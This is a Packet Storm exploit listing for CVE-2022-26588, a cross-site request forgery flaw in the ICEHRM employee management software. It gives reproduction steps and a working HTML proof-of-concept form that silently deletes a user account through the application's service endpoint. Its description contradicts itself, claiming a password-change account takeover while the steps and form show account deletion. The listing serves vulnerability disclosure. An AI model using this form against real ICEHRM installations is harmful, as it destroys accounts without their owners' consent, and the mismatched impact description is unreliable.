ICEHRM 31.0.0.0S Cross Site Request Forgery

Authored by Devansh Bordia   Posted Apr 7, 2022

ICEHRM version 31.0.0.0S cross site request forgery exploit that demonstrates account deletion. This finding varies from the original finding of cross site request forgery in the same software from the same researcher.

tags | exploit, csrf
advisories | CVE-2022-26588
SHA-256 | b9ee29826a306b33bdc668fcd9b9e3b8d9c8e92ba320ac432ad6259e72d505c3   Download | Favorite | View

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Deletion
# Date: 29/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10
# CVE: CVE-2022-26588

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define
access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change
the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:

1.) Now login into the application and go to users.
2.) After this add an user with the name Devansh.
3.) Now try to delete the user and intercept the request in burp suite. We can see no CSRF Token in request.
4.) Go to any CSRF POC Generator: https://security.love/CSRF-PoC-Genorator/
5.) Now generate a csrf poc for post based requests with necessary parameters.
6.) Finally open that html poc and execute in the same browser session.
7.) Now if we refresh the page, the devansh is deleted to csrf vulnerability.

4. Exploit POC (Exploit.html)

<html>
<form enctype="application/x-www-form-urlencoded" method="POST"  action="
http://localhost:8070/app/service.php">
<table>
<tr>
<td>t</td>
<td>
<input type="text" value="User" name="t">
</td>
</tr>
<tr>
<td>a</td>
<td>
<input type="text" value="delete" name="a">
</td>
</tr>
<tr>
<td>id</td>
<td>
<input type="text" value="6" name="id">
</td>
</tr>
</table>
<input type="submit" value="http://localhost:8070/app/service.php"> </form>
</html>
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed